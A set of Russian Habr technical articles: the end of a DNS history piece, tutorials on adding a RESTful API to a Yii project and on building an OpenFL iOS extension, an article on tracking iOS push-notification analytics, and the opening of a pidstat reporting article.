Сеть ARPANET стали использовать университеты, телекоммуникационные компании и учёные из разных областей науки. В 80-х к ней были подключены целых 320 компьютеров. Такое количество устройств породило проблему — стало сложно работать с адресами. Для обмена данными каждый из подключенных компьютеров скачивал файл HOSTS.TXT с информацией об остальных хостах. Этот файл существовал в единственном экземпляре на сервере, размещенном в Стэнфордском исследовательском институте. Пользователям становилось все сложнее работать с раздутым списком, учитывая тот факт, что идентификаторы при подключении приходилось прописывать вручную.
*Фото — [UCLA and BBN](https://commons.wikimedia.org/wiki/File:Arpanet_1972_Map.png) — CC BY-SA*
Особенно сильно проблема была заметна во время отправки электронных писем. Чтобы переслать сообщение с одного компьютера на другой, пользователь должен был сам указать путь для его передачи между системами. Задачу усложнял тот факт, что отдельные устройства могли выходить в сеть в разное время дня. Выглядел коммуникационный путь примерно следующим образом:
```
utzoo!decvax!harpo!eagle!mhtsa!ihnss!ihuxp!grg
```
Путь представлял собой цепочку из хостов, разделённых служебным символом (!). В конце последовательности прописывалось имя системы получателя сообщения. Если пользователь не знал коммуникационный путь, то он не мог отправить электронное письмо. И в 1982 году группа специалистов из компании Network Working Group (NWG), возглавляемая Стивом Крокером (Steve Crocker), который изобрел [Request For Comments](https://ru.wikipedia.org/wiki/RFC), представила решение — концепцию доменных имен ([RFC805](http://www.rfc-editor.org/rfc/rfc805.txt)). Инженеры разработали специальное программное обеспечение, которое автоматизировало поиск маршрутов и позволило адресовать сообщения любому хосту напрямую. Базовые принципы, заложенные в RFC805, стали отправной точкой для запуска привычной нам системы доменных имен.
Рождение DNS
------------
В 1983 году инженеры Пол Мокапетрис (Paul Mockapetris) и Джон Постел (Jon Postel) решили распространить концепцию, описанную в RFC805, на всю сеть ARPANET. Они подготовили два новых RFC, в которых изложили основы DNS. В [RFC882](https://tools.ietf.org/html/rfc882) «Domain Names: Concepts and Facilities» были описаны возможности системы доменных имен, а в [RFC883](https://tools.ietf.org/html/rfc883) «Domain Names: Implementation and Specification» приведена детализация спецификации и методы внедрения.
*Фото — [Jordiipa](https://commons.wikimedia.org/wiki/File:Paul_Mockapetris.JPG) — CC BY-SA / На фото: Пол Мокапетрис*
> В частности, Мокапетрис [предложил](http://www.webhostingsearch.com/articles/history-of-domains-names.php) структуру идентификаторов хостов, содержащую **имя** и специальную **категорию**. Спустя год на основе спецификации Мокапетриса родилась классификация gTLD (generic Top-Level Domains), куда вошли домены .com, .edu, .net, .org, .int, .gov и .mil.
Первое время ими управляла компания Network Solutions Inc., которую для этих целей наняло американское правительство. Позже бразды правления перешли в руки специально созданной некоммерческой организации ICANN. В 1985 году, после внедрения DNS в ARPANET, свои домены зарегистрировали сразу шесть организаций. Самый первый из них — [Symbolics.com](http://symbolics.com/) — существует до сих пор. Сегодня это цифровой музей истории интернета.
С 1985 года система доменных имен претерпела множество изменений. Например, в неё добавили поддержку механизмов NOTIFY и IXFR, упростивших процессы репликации баз DNS между различными серверами. Подробнее об этих и других модификациях, мы [рассказываем в следующей части материала](https://habr.com/ru/company/1cloud/blog/480514/). Также мы говорим о первых DNS-серверах, в частности, о проекте BIND, который до сих пор остается самым популярным решением в этой сфере.
---
Мы в 1cloud.ru предлагаем услугу [DNS-хостинга](https://1cloud.ru/services/dns?utm_source=habrahabr&utm_medium=cpm&utm_campaign=dns1&utm_content=site). Зарегистрированные пользователи получают её бесплатно.
---
Мы подготовили [краткое руководство](https://1cloud.ru/help/dns/dnshostingusage?utm_source=habrahabr&utm_medium=cpm&utm_campaign=dns1&utm_content=site) по работе с услугой. Рассказываем, как управлять ресурсными записям с помощью нашей панели управления или API.
--- | https://habr.com/ru/post/479452/ | null | ru | null |
# Удобное встраивание RESTful API в проект
Ни для кого не секрет, что наличие API идет на пользу любому проекту. Но часто, при ошибке в архитектуре системы или же добавлении его к готовому проекту, накладные расходы на поддержку и тестирование отнимают достаточно много времени.
Я хочу представить сообществу нашу реализацию RESTful архитектуры, без дублирования кода и с минимальными изменениями существующей бизнес-логики. Или Как добавить в проект API за пять минут?
Для реализации данного подхода, нами было написано [расширение для Yii Framework](https://github.com/paysio/yii-rest-api), но сам подход может быть использован в любой MVC архитектуре.
Давайте представим, что у нас есть контроллер `RestUserController` с методами:
* `actionIndex` — список пользователей
* `actionView` — просмотр пользователя
* `actionCreate` — создание пользователя
* `actionUpdate` — обновление пользователя
* `actionDelete` — удаление пользователя
Также у нас есть модель `RestUser`, которая представляет из себя *ActvieRecord* таблицы *rest\_users*.
Рассмотрим метод `actionCreate`, задача которого, создание нового пользователя `RestUser`,
```
class RestUserController extends Controller
{
...
public function actionCreate()
{
$model = new RestUser();
if (isset($_POST) && ($data = $_POST)) { // проверяем отправлен ли POST запрос
$model->attributes = $data; // пишем в модель новые атрибуты
if ($model->save()) { // проверяем атрибуты, если валидны - то сохраняем
$this->redirect(array('view', 'id' => $model->id));
}
}
$this->render('create', array('model' => $model)); // отображаем html-форму добавления
}
...
}
```
Тут все понятно — еcли просто запрашиваем `/restUser/create` — отображается html-форма добавления нового пользователя, если отправляем *POST-запрос* на этот адрес, то отрабатывает логика валидации и добавления, затем либо перенаправляет нас на просмотр пользователя, либо отображает html-форму c ошибками.
Теперь, допустим, мы хотим сделать мобильное приложение которое будет иметь возможность из своего интерфейса создавать новых пользователей. Правильный путь — создать серверное API.
Т.к. мы говорим о RESTful стиле, то взаимодействие серверного и мобильного приложения, на примере запроса через *curl*, будет выглядеть примерно так:
###### Запрос
```
curl http://test.local/api/users \
-u demo:demo \
-d email="user@test.local" \
-d password="passwd"
```
###### Ответ
```
< HTTP/1.1 201 Created
< Content-Type: application/json
< WWW-Authenticate: Basic realm="App"
< Location: http://test.local/api/users/TEST_ID
{
"object":"rest_user",
"id":"TEST_ID",
"email":"user@test.local",
"name":"Test REST User"
}
```
Здесь происходит авторизация через *HTTP basic auth* логина demo с паролем demo, и передаются обязательные параметры email и password, в ответ, если все правильно, получаем JSON-объект нового пользователя.
Вся идея нашего подхода заключается в том, чтобы добавить *action-ам* возможность правильно отвечать на API-запросы, только изменением методов `redirect` и `render`, а также добавлением правил рендеринга моделей.
Конечно, необходима также реализовать перехват ошибок и эксепшенов приложения, а также ошибок при создании самой модели, для корректного ответа API-клиенту, но для этого не потребуется изменения самой бизнес-логики *action-ов* контроллера.
В нашем [расширении](https://github.com/paysio/yii-rest-api) мы реализовали предложенный подход перехватом событий `onException` и `onError`, а также добавлением дополнительной функциональности к базовой модели `CActiveRecord` и контроллеру `CController` при помощи [поведений](http://www.yiiframework.com/wiki/44/behaviors-events/#hh1).
В результате, код, возвращающий нужный ответ, при запросе через API, и html-форму при обычном запросе, будет выглядеть так:
```
class RestUserController extends Controller
{
...
public function actionCreate()
{
$model = new RestUser();
if ($this->isPost() && ($data = $_POST)) { // добавился метод isPost наряду с isPut и isDelete
$model->attributes = $data;
if ($model->save()) {
$this->redirect(array('view', 'id' => $model), true, 201); // возвращаем объект
}
}
$this->render('create', array('model' => $model), false, array('model')); // в ответе только model
}
...
}
```
Важное отличие нового кода от предидущего — это передача в метод `redirect` в качестве параметра `id` не `$model->id`, а объекта `$model`, для того чтобы созданный объект был возвращен клиенту. Также, третьим параметром добавлен код ответа 201 — это необходимо для соответсвия стандарту, т.к. вместе с ответом передается заголовок *Location*, содержащий адрес созданного объекта. HTTP-коды 3xx в ответе не позволяются.
Ещё одним отличием является добавленный четвертый параметр в методе `render`, в нем содержится перечисление полей из массива `$data`, передаваемых в ответе клиенту. Если праметр `null` то возвращается весь массив `$data`.
Теперь при неверном запросе, данные, которые в обычном режиме отобразились бы в html-форме, вернутся в следующем формате:
###### Запрос
```
curl http://test.local/api/users \
-u demo:demo \
-d email="user@test.local"
```
###### Ответ
```
< HTTP/1.1 400 Bad Request
< Content-Type: application/json
< WWW-Authenticate: Basic realm="App"
{
"error":{
"params":[
{
"code":"required",
"message":"Password cannot be blank.",
"name":"password"
}
],
"type":"invalid_param_error",
"message":"Invalid data parameters"
}
}
```
Отлично, теперь нужно как-то защитить чувствительные данные модели — у нашего `RestUser` это поле `password`. Для этого определим в правиле список возвращаемых полей.
Правило отображения для модели будет находится в методе `rules`
```
class RestUser extends CModel
{
public function rules()
{
return array(
...
array('id, email, name', 'safe', 'on' => 'render'),
);
}
}
```
Это правило затем будет учтено в методе `getRenderAttributes`, добавленном в модель, который будет возвращать массивом все доступные для отображения атрибуты, рекурсивно проходя по связям объекта, если они указаны в правиле.
В заключении хочу рассказать немного о возможностях аутентификации и отображения.
Ядро расширения построено вокруг компонента (сервиса) `\rest\Service`, который занимается основной обработкой событий и правильным отображением данных. У данного сервиса есть две группы адаптеров `auth` и `renderer`.
В `auth` находятся адаптеры, осуществляющие аутентификацию — по умолчанию доступен адаптер *HTTP basic auth*.
В `renderer` находятся адаптеры, осуществляющие отображение данных — по умолчанию доступны два адаптера *JSON* и *XML*.
#### Расширение
##### Коротко о настройках
Пример конфигурационного файла `main.php`
```
YiiBase::setPathOfAlias('rest', realpath(__DIR__ . '/../extensions/yii-rest-api/library/rest'));
return array(
'basePath' => dirname(__FILE__) . DIRECTORY_SEPARATOR . '..',
'name' => 'My Web Application',
'preload' => array('restService'),
'import' => array(
'application.models.*',
'application.components.*',
),
'components' => array(
'restService' => array(
'class' => '\rest\Service',
'enable' =>strpos($_SERVER['REQUEST_URI'], '/api/') !== false, // для примера
),
'urlManager' => array(
'urlFormat' => 'path',
'showScriptName' => false,
'baseUrl' => '',
'rules' => array(
array('restUser/index', 'pattern' => 'api/v1/users',
'verb' => 'GET', 'parsingOnly' => true),
array('restUser/create', 'pattern' => 'api/v1/users',
'verb' => 'POST', 'parsingOnly' => true),
array('restUser/view', 'pattern' => 'api/v1/users/',
'verb' => 'GET', 'parsingOnly' => true),
array('restUser/update', 'pattern' => 'api/v1/users/',
'verb' => 'PUT', 'parsingOnly' => true),
array('restUser/delete', 'pattern' => 'api/v1/users/',
'verb' => 'DELETE', 'parsingOnly' => true),
array('restUser/index2', 'pattern' => 'api/v2/users',
'verb' => 'GET', 'parsingOnly' => true), // к примеру, если нужно будет сменить версию API
)
),
),
);
```
Добавим в контроллер поведение и переопределим методы
```
/**
* @method bool isPost()
* @method bool isPut()
* @method bool isDelete()
* @method string renderRest(string $view, array $data = null, bool $return = false, array $fields = array())
* @method void redirectRest(string $url, bool $terminate = true, int $statusCode = 302)
* @method bool isRestService()
* @method \rest\Service getRestService()
*/
class RestUserController extends Controller
{
public function behaviors()
{
return array(
'restAPI' => array('class' => '\rest\controller\Behavior')
);
}
// если поле $fields не определено, есть возвращаемые поля по умолчанию
public function render($view, $data = null, $return = false, array $fields = array('count', 'model', 'data'))
{
if (($behavior = $this->asa('restAPI')) && $behavior->getEnabled()) {
if (isset($data['model']) && $this->isRestService() &&
count(array_intersect(array_keys($data), $fields)) == 1) {
$data = $data['model']; // по логике нашего API, возвращаемый объект мы никак не оборачиваем, но детали конкретной реализации - на ваше усмотрение
$fields = null;
}
return $this->renderRest($view, $data, $return, $fields);
} else {
return parent::render($view, $data, $return);
}
}
public function redirect($url, $terminate = true, $statusCode = 302)
{
if (($behavior = $this->asa('restAPI')) && $behavior->getEnabled()) {
$this->redirectRest($url, $terminate, $statusCode);
} else {
parent::redirect($url, $terminate, $statusCode);
}
}
}
```
Все эти методы можно и нужно добавить в родительский контроллер, чтобы не имплементировать в каждом контроллере по отдельности.
Добавим поведение в модель для того, чтобы заработали правила рендеринга
```
/**
* @method array getRenderAttributes(bool $recursive = true)
* @method string getObjectId()
*/
class RestUser extends CActiveRecord
{
/**
* @return array
*/
public function behaviors()
{
return array(
'renderModel' => array('class' => '\rest\model\Behavior')
);
}
}
```
##### Ссылки
GitHub репозиторий — [github.com/paysio/yii-rest-api](https://github.com/paysio/yii-rest-api)
Описание установки и настройки — [github.com/paysio/yii-rest-api#installation](https://github.com/paysio/yii-rest-api#installation)
Весь код, приведенный выше — [github.com/paysio/yii-rest-api/tree/master/demo](https://github.com/paysio/yii-rest-api/tree/master/demo) | https://habr.com/ru/post/155021/ | null | ru | null |
# Создание нативной библиотеки расширений для OpenFL, часть вторая
#### Предисловие
Это продолжение перевода серии статей о создании расширений для OpenFL от Laurent Bédubourg. В [первой части](http://habrahabr.ru/post/186230/) мы создали простое расширение и скомпилировали его для нативных платформ (Linux/Windows, Android, iOS). В этой части мы добавим в наше приложение на iOS возможность отправлять твиты.
Что мы узнаем:
* как структурировать исходный код нашего расширения для различных платформ
* как связать код на haxe и функции из нашего расширения
* как линковаться с iOS фреймворками (с фреймворком Twitter, в частности)
#### Что делать?
Давайте начнем с того, что посмотрим как структурирован, например, проект [NME](https://github.com/haxenme/NME/tree/master/project).
На первый взгляд [Build.xml](https://github.com/haxenme/NME/blob/master/project/Build.xml) выглядит сложно и мы вернемся в нему позже. Посмотрев на содержимое каталога, мы увидим следующее:
* include/ содержит заголовочные файлы, которые будут реализованы в common/ и plaforms
* common/ платформо-независимый c++ код (более менее платформо-независимый, мы можем использовать #if defined(HX\_xxxx) чтобы добиться максимальной платформо-независимости)
* common/ExternalIterface.cpp экспортирует функции в среду исполнения (DEFINE\_PRIM)
* platform в данном каталоге содержатся реализации под конкретные платформы (iPhone, maс, windows и другие)
На мой взгляд такая структура выглядит довольно удобной, давайте и мы будем ее использовать.
Начнем с нашего предыдущего расширения, мы должны объявить функцию Tweet() в существующем файле include/Util.h (по уму, мы должны использовать отдельный заголовочный файл, но я сегодня слишком ленив для этого).
```
namespace testextension {
int SampleMethod(int inputValue);
bool Tweet(const char* msg);
}
```
Теперь нам необходимо реализовать ее для платформы iphone:
```
cd project
mkdir iPhone
```
Создадим файл iPhone/Tweet.mm:
```
#import
#import
namespace testextension {
bool Tweet(const char\* message){
// Простите за этот кусок кода на Objective-C
// Я просто скопировал его из другого поекта
// Мы должны проверить инициализирован ли клиент твитера
// Но я оставлю эту задачу читателю для самостоятельного решения :)
NSString\* str = [[NSString alloc] initWithUTF8String:message];
TWTweetComposeViewController\* tweetView = [[TWTweetComposeViewController alloc] init];
[tweetView setInitialText:str];
TWTweetComposeViewControllerCompletionHandler completionHandler =
^(TWTweetComposeViewControllerResult result) {
[[[[UIApplication sharedApplication] keyWindow] rootViewController] dismissModalViewControllerAnimated:YES];
};
[tweetView setCompletionHandler:completionHandler];
[[[[UIApplication sharedApplication] keyWindow] rootViewController] presentModalViewController:tweetView animated:YES];
return true;
}
}
```
И зарегистрируем функцию Tweet в haxe, для этого отредактируем файл common/ExternalInterface.cpp:
```
static value testextension_tweet(value message){
// мы знаем, что message это строка и просто получим ее значение
const char* cStr = val_get_string(message);
// вызовем нашу функцию Tweet и вернем в haxe true или false
if (testextension::Tweet(cStr))
return val_true;
return val_false;
}
// зарегистрируем нашу функцию, наша функция принимает один аргумент
DEFINE_PRIM(testextension_tweet, 1)
```
DEFINE\_PRIME, val\_get\_string, val\_true и всё остальное являются частью hxcpp и определены в [hx/CFFI.h](https://github.com/haxe-mirrors/hxcpp/blob/master/include/hx/CFFI.h).
Изучение [ExternalInterface.cpp](https://github.com/haxenme/NME/blob/master/project/common/ExternalInterface.cpp) из NME поможет вам понять, как зарегистрировать ваши функции.
Часть haxe находится в TextExtension.hx и выглядит вот так:
```
class TestExtension {
// загружаем нашу функцию
private static var testextension_tweet = Lib.load("testextension", "testextension_tweet", 1);
// внутри типизированного метода вызываем нативную функцию
public static function tweet(message:String) : Bool {
return testextension_tweet(message);
}
}
```
#### Как скомпилировать
Мне пришлось приложить усилия, чтобы разобраться как скомпилировать и слинковать проект, но в результате все оказалось довольно просто.
Сперва необходимо создать файл project/Build.xml:
```
```
В секцию с id = NDLL необходимо добавить файлы, которые будут компилироваться:
```
```
И, наконец, мы должны добавить фреймворк Twitter в зависимости в include.xml. Через этот файл hxcpp узнает какие фреймворки необходимо добавить в наше приложение.
```
```
Я скомпилировал расширение, также как я делал это в [первой части](http://habrahabr.ru/post/186230/).
```
haxelib run hxcpp Build.xml -Dmac
haxelib run hxcpp Build.xml -Diphoneos -DHXCPP_ARMV7
haxelib run hxcpp Build.xml -Diphonesim
```
#### Как запустить
Чтобы протестировать работу расширения, я добавил в свое тестовое приложение следующий вызов:
```
TestExtension.tweet("This is my tweet message");
```
И запустил его в симуляторе и на моем iOS устройстве:
```
cd TestApp
openfl test project.xml iphone -simulator
openfl test project.xml iphone
```
Мы можем твитить используя нативный API из нашего приложения! Круто, не правда ли?! :)
Хочу отметить одну очень важную вещь — способ, которым я получал информацию — находил ее в исходном коде hxcpp и nme, на гитхабе.
Пытаясь заставить все это работать я столкнулся с несколькими проблемами. Если вы экспериментируете и у вас что-то не получается, не забывайте очищать каталоги ndl/ и project/obj и пересобирать весь проект. Я продолжал экспериментировать, пока не нашел подходящий формат для Build.xml и include.xml.
Единственной реальной сложностью является недостаток документации по формату Build.xml в hxcpp. Но, слава богу, есть примеры, на которых можно учиться.
Следующее, что я хочу сделать, попробовать собрать расширение под андроид, чтобы убедиться, что и на этой платформе все работает. Говорят, что не только разработать расширение на java, но и описать это процесс будет полезным :)
Я обновил репозиторий расширения на [гитхабе](https://github.com/labe-me/openfl-extension-example), в надежде, что мой небольшой вклад будет полезен другим хаксерам! Надеюсь данное руководство будет работать на вашей системе… хотя иногда все идет не так как задумывается ;) | https://habr.com/ru/post/186722/ | null | ru | null |
# Аналитика и нотификации для iOS
*В этой статье поделюсь тем, как настроить трекинг событий о получении и об открытии нотификаций на iOS устройствах. Рассматривается вариант, когда приложение уже интегрировано с Firebase Cloud Messaging для получения FCM токенов и отправки нотификаций через собственный сервер, а для трекинга событий подключен сервис Amplitude. Также предполагается, что приложение уже обрабатывает запрос на разрешение получения нотификаций, включая вариант с provisional опцией. Даже если в вашем приложении используется другой набор сервисов для работы с нотификациями и аналитикой, решения, описанные здесь, могут подойти.*
Задача заключается в том, чтобы затрекать два события аналитики: событие получения нотификации (нотификация пришла на устройство пользователя, но пользователь еще не нажимал на нее) и событие открытия приложения по клику на нотификацию.
За трекинг событий отвечает пара методов в классе AnalyticsTracker.
```
class AnalyticsTracker {
// Событие получения нотификации
func didReceiveNotification() {
let eventName = "Notification Received"
Amplitude.instance().logEvent(eventName)
}
// Событие открытия нотификации
func didOpenNotification() {
let eventName = "Notification Opened"
Amplitude.instance().logEvent(eventName)
}
}
```
Работа с нотификациями происходит через `UNUserNotificationCenter`. Протокол `UNUserNotificationCenterDelegate` содержит методы, которые кажутся подходящими для трекинга нужных событий:
1) `userNotificationCenter(:didReceive:withCompletionHandler:)` *-* из названия можно предположить, что метод вызывается, когда получена нотификация и здесь можно трекать событие `didReceiveNotification()`
2) `userNotificationCenter(:willPresent:withCompletionHandler:)` - раз у `UNUserNotificationCenterDelegate` всего 2 метода и один метод уже предположительно вызывается при получении нотификации, то, похоже, этот метод мог бы использоваться для трекинга `didOpenNotification()` события.
На самом деле оба предположения выше некорректны и приведут к неправильному трекингу событий.
Где и как тогда трекать получение и открытие нотификаций?
### Трекинг открытия нотификации
В методах `application(:willFinishLaunchingWithOptions:)` и `application(:didFinishLaunchingWithOptions:)` из словаря `launchOptions` можно получить информацию о том, было ли приложение запущено через нотификацию. Для этого необходимо проверить значения для ключа `remoteNotification`. Если пользователь запустил приложение через локальную нотификацию, то словарь `launchOptions` не будет содержать информации об этом, так как ключ localNotification существовал только до iOS 10.
Трекинг события открытия нотификации может происходить внутри application(:didFinishLaunchingWithOptions:).
```
func application(
application: UIApplication,
didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?
) -> Bool {
…
if let launchOptions = launchOptions,
let remoteNotification = launchOptions[.remoteNotification] {
analyticsTracker.didOpenNotification()
}
return true
}
```
Кажется, что если в приложении используются только remote нотификации, то этот вариант мог бы подойти для трекинга события `didOpenNotification()`. Но `application(:willFinishLaunchingWithOptions:)` и `application(:didFinishLaunchingWithOptions:)` сработают только при инициализации приложения. Если приложение уже было запущено и находится в бэкграунде, то событие открытия приложения по клику на нотификации не будет затрекано.
Зато метод `userNotificationCenter(:didReceive:withCompletionHandler:)`, из названия которого в начале статьи было сделано предположение, что речь именно про получение нотификации на устройство, будет вызван как раз во всех случаях:
1. При инициализации приложения (если приложение не было запущено на устройстве пользователя)
2. При запуске приложения из бэкграунда
3. При получении local и remote нотификаций
Для того, чтобы этот метод был вызван при открытии нотификации, важно задать делегат для `UNUserNotificationCenter` перед окончанием запуска приложения - в методах `application(:willFinishLaunchingWithOptions:)` или `application(:didFinishLaunchingWithOptions:)`. Если делегат задан в какой-то момент позднее, то приложение не сможет обрабатывать нотификации.
Настройка делегата для UNUserNotificationCenter
```
func application(
application: UIApplication,
didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?
) -> Bool {
UNUserNotificationCenter.current().delegate = self
return true
}
```
С трекингом открытия приложения по клику на нотификацию разобрались, и это была самая простая часть.
### Трекинг получения нотификации на устройство
Как уже упоминалось, приложение использует Firebase Cloud Messaging и собственный сервер для отправки нотификаций. После отправки нотификации, сервер получает ответ от FCM API, который содержит информацию об успешности отправки нотификации. FCM отправляет скомпонованное сообщение в Apple Push Notification сервис (APNS), а не сразу на девайс пользователя, поэтому успешная отправка нотификации означает лишь то, что APNS был вызван успешно, но нотификация могла так и не прийти на устройство пользователя.
Пример ответа FCM API для ситуации, когда пользователь сначала дал права на получение нотификаций, а затем забрал их через Settings приложение:
```
{
"multicast_id": 1314429988295507285,
"success": 1,
"failure": 0,
"canonical_ids": 0,
"results": [
{
"message_id": "1666543512501125"
}
]
}
```
Видно, что в респонсе FCM API нет ошибок, message\_id сформирован, но сообщение так и не доставлено на устройство пользователя.
В приложении используется Firebase Analytics как дополнительный трекер событий. Firebase Analytics трекает ряд событий автоматически, их список доступен в [документации](https://support.google.com/firebase/answer/9234069?hl=en). Возникает идея посмотреть, как Firebase трекает событие получения нотификации, чтобы использовать похожий способ.
Документация Firebase про Автоматический трекинг события notification\_receive К сожалению, оказывается, что событие `notification_receive` трекается только для Android устройств и только если приложение запущено в бэкграунде. Это наталкивает на мысль, что с трекингом события получения нотификаций на iOS устройстве есть какие-то сложности. Ищем дальше.
С iOS 10 появился класс `UNNotificationServiceExtension`, который отвечает за подготовку данных нотификации к отображению. Этот класс позволяет обработать и при необходимости изменить контент, который увидит пользователь в нотификации. Один из примеров такой обработки - это загрузка изображения или видео, которое надо показать в нотификации. И это расширение - отличное место для того, чтобы затрекать событие получения нотификации.
Но и тут есть свои ограничения. `UNNotificationServiceExtension` будет использован только в следующих случаях:
1. Приложение настроено для получения remote нотификаций
2. Приложению даны права показывать alert при получении remote нотификации. Включая вариант, когда такое разрешение было выдано приложению с `provisional` опцией.
3. Remote нотификация содержит в пейлоаде значение `"1"` для ключа `mutable-content`
Это значит, что следующие нотификации не будут обработаны через расширение `UNNotificationServiceExtension`:
1. local нотификации
2. silent нотификации, которые не приводят к появлению алерта (такие нотификации могут использоваться, например, для того чтобы приложение, запущенное в бэкграунде, выполнило загрузку новых данных без команды пользователя).
3. Нотификации, которые только воспроизводят звук или обновляют бейджик иконки приложения.
При получении remote нотификации система загружает расширение `UNNotificationServiceExtension` и вызывает метод `didReceive(:withContentHandler:)`, в котором можно трекать событие получения нотификации. Поскольку это расширение, то важно учитывать два важных момента:
1. Расширение загружается отдельно от приложения, а потому сконфигурировать сервис аналитики надо не только в приложении, но и в данном расширении.
2. Время жизни расширения - короткое. Как только будет выполнена задача подготовки нотификации к отображению, расширение будет уничтожено. Обычно системы аналитики накапливают события за определенный промежуток времени и отправляют их пачкой. У Amplitude, например, есть параметр `eventUploadPeriodSeconds`, который по умолчанию имеет значение "30 секунд". Чтобы успеть отправить события, пока расширение не уничтожено, можно уменьшить значение такой настройки, а можно использовать метод для принудительной отправки событий - `uploadEvents()`.
Использование NotificationService для трекинга события получения нотификации
```
class NotificationService {
func didReceive(
_ request: UNNotificationRequest,
withContentHandler contentHandler: (UNNotificationContent) -> Void
) {
trackDidReceiveNotification()
// ...
// Подготовка тела нотификации notificationContent
// ...
contentHandler(notificationContent);
}
private func trackDidReceiveNotification() {
let apiKey = "NNNNNNN"
let amplitudeTracker = Amplitude.instance()
amplitudeTracker.initializeApiKey(apiKey)
analyticsTracker.didReceiveNotification()
amplitudeTracker.uploadEvents()
}
}
```
Особенность трекинга событий из `UNNotificationServiceExtension` в том, что в аналитике такое событие получения нотификации отображается в отдельной сессии, а не перед событием открытия нотификации, как ожидается. Но при построении воронки учитывается время события, а поскольку событие получения произошло раньше (в 11:36:29), чем событие открытия нотификации (11:47:04), то конверсия из получения нотификаций в открытие будет посчитана корректно.
Пример событий пользователя из Amplitude: Push Notification Received отображается как будто позже, чем Push Notification Opened. Но если обратить внимание на временную метку, то события затреканы в правильном порядке, хотя и в разных сессиях.В [документации](https://www.docs.developers.amplitude.com/data/sdks/ios/#push-notification-events) Amplitude рекомендуется трекать события для нотификаций не из приложения, а через HTTP API или через их партнеров. Поэтому есть еще способ обработки пришедшей нотификации - это в `UNNotificationServiceExtension` сохранять информацию о том, что пришла нотификация с помощью App Groups и затем трекать событие в основном приложении. В этом случае событие `didReceiveNotification()` будет трекаться в рамках той же сессии, что и событие `didOpenNotification()`. Но тут есть риск, что событие получения нотификации не будет затрекано, так как пользователь должен открыть приложение после получения нотификации, чтобы отправка события выполнилась. При этом не важно, кликнул он на нотификацию или открыл приложение другим образом.
### Особенности обновления токенов.
Для того, чтобы приложение регулярно получало нотификации, нужно учитывать пару важных моментов, связанных с токенами. Хотя это напрямую не касается аналитики и трекинга событий, связанных с нотификациями, хочется зафиксировать эту информацию.
Для работы с нотификациями на iOS устройствах и при использовании Firebase Cloud Messaging есть два токена - FCM и APNS токены.
APNs токен - это "адрес" устройства, уникальный для приложения, который генерируется Apple Push Notification сервисом для доставки нотификаций. Firebase использует свой собственный FCM токен, но он связан с APNS токеном. APNS токен может иногда изменяться, например, если пользователь обновил операционную систему или если восстановил приложение из бэкапа. В этом случае также изменится и FCM токен. Приложение должно учитывать и обрабатывать такое обновление токенов, чтобы Firebase всегда использовал свежие токены для отправки нотификаций.
Регистрация устройства и генерация APNs токена происходят после вызова метода `registerForRemoteNotifications()`. Apple рекомендует регулярно запрашивать токен, а не кэшировать его, чтобы он всегда был в актуальном состоянии. Поэтому вызов `registerForRemoteNotifications()` не должен происходить только после запроса разрешений на получение нотификаций, особенно если такой запрос возникает в контексте выполнения какого-то действия и при этом возникает редко.
Регистрация приложения для получения remote нотификаций
```
func application(
application: UIApplication,
didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?
) -> Bool {
// ...
registerForRemoteNotifications()
return true
}
```
Firebase при старте приложения генерирует новый токен, если токена нет или он невалидный, а также периодически обновляет существующий токен. Если FCM токен изменился, то пользователя надо переподписать на те топики, на которые он был ранее подписан.
Важно сначала получить APNs токен и установить его для FCM, а затем уже можно получать FCM токен и подписывать пользователя на топик. Иначе FCM выдает предупреждение в консоли и пользователь не будет получать нотификации:
> *APNS device token not set before retrieving FCM Token for Sender ID '1000000000000'. Notifications to this FCM Token will not be delivered over APNS. Be sure to re-retrieve the FCM token once the APNS device token is set.*
>
>
### Выводы
Если подвести итоги, то они окажутся короткими:
1. Событие открытия нотификации надо трекать в методе `userNotificationCenter(:didReceive:withCompletionHandler:)`
2. Событие получения remote нотификации надо трекать в методе `didReceive(_:withContentHandler:)` расширения `UNNotificationServiceExtension`.
Но в процессе изучения вопроса выяснилось много деталей, которые влияют на корректность трекинга событий, связанных с нотификациями. Надеюсь, эта информация позволит кому-то сэкономить время для выполнения похожей задачи.
### Ресурсы
[Registering Your App with APNs](https://developer.apple.com/documentation/usernotifications/registering_your_app_with_apns)
[UNNotificationServiceExtension](https://developer.apple.com/documentation/usernotifications/unnotificationserviceextension)
[Testing notification with Firebase Notifications Composer](https://firebase.google.com/docs/cloud-messaging/ios/first-message)
[Firebase Cloud Messaging Architectural Overview](https://firebase.google.com/docs/cloud-messaging/fcm-architecture?authuser=0&hl=en) | https://habr.com/ru/post/694990/ | null | ru | null |
# SQL HowTo: красивые отчеты по «дырявым» данным — GROUPING SETS
Для пользователя [наш СБИС](https://sbis.ru/all_services) представляется единой системой управления бизнесом, но внутри состоит из множества взаимодействующих сервисов. И чем их становится больше — тем выше вероятность возникновения каких-то неприятностей, которые необходимо вовремя отлавливать, исследовать и пресекать.
Поэтому, когда на каком-то из [тысяч подконтрольных серверов](https://habr.com/ru/post/487380/) случается аномальное потребление ресурсов (CPU, памяти, диска, сети, ...), возникает потребность разобраться «кто виноват, и что делать».
Для оперативного мониторинга использования ресурсов Linux-сервера «в моменте» существует [утилита pidstat](https://linux.die.net/man/1/pidstat). То есть если пики нагрузки периодичны — их можно «высидеть» прямо в консоли. Но мы-то хотим эти данные **анализировать постфактум**, пытаясь найти процесс, создавший максимальную нагрузку на ресурсы.
То есть хочется иметь возможность смотреть по ранее собранным данным разные красивые отчеты с группировкой и детализацией на интервале типа таких:
В этой статье рассмотрим, как все это можно экономично расположить в БД, и как максимально эффективно собрать по этим данным отчет с помощью **оконных функций и GROUPING SETS**.
Сначала посмотрим, что за данные мы можем извлечь, если брать «все по максимуму»:
```
pidstat -rudw -lh 1
```
| | | | | | | | | | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| Time | UID | **PID** | %usr | %system | %guest | %CPU | CPU | minflt/s | majflt/s | VSZ | RSS | %MEM | kB\_rd/s | kB\_wr/s | kB\_ccwr/s | cswch/s | nvcswch/s | Command |
| 1594893415 | 0 | 1 | 0.00 | 13.08 | 0.00 | 13.08 | 52 | 0.00 | 0.00 | 197312 | 8512 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 7.48 | /usr/lib/systemd/systemd --switched-root --system --deserialize 21 |
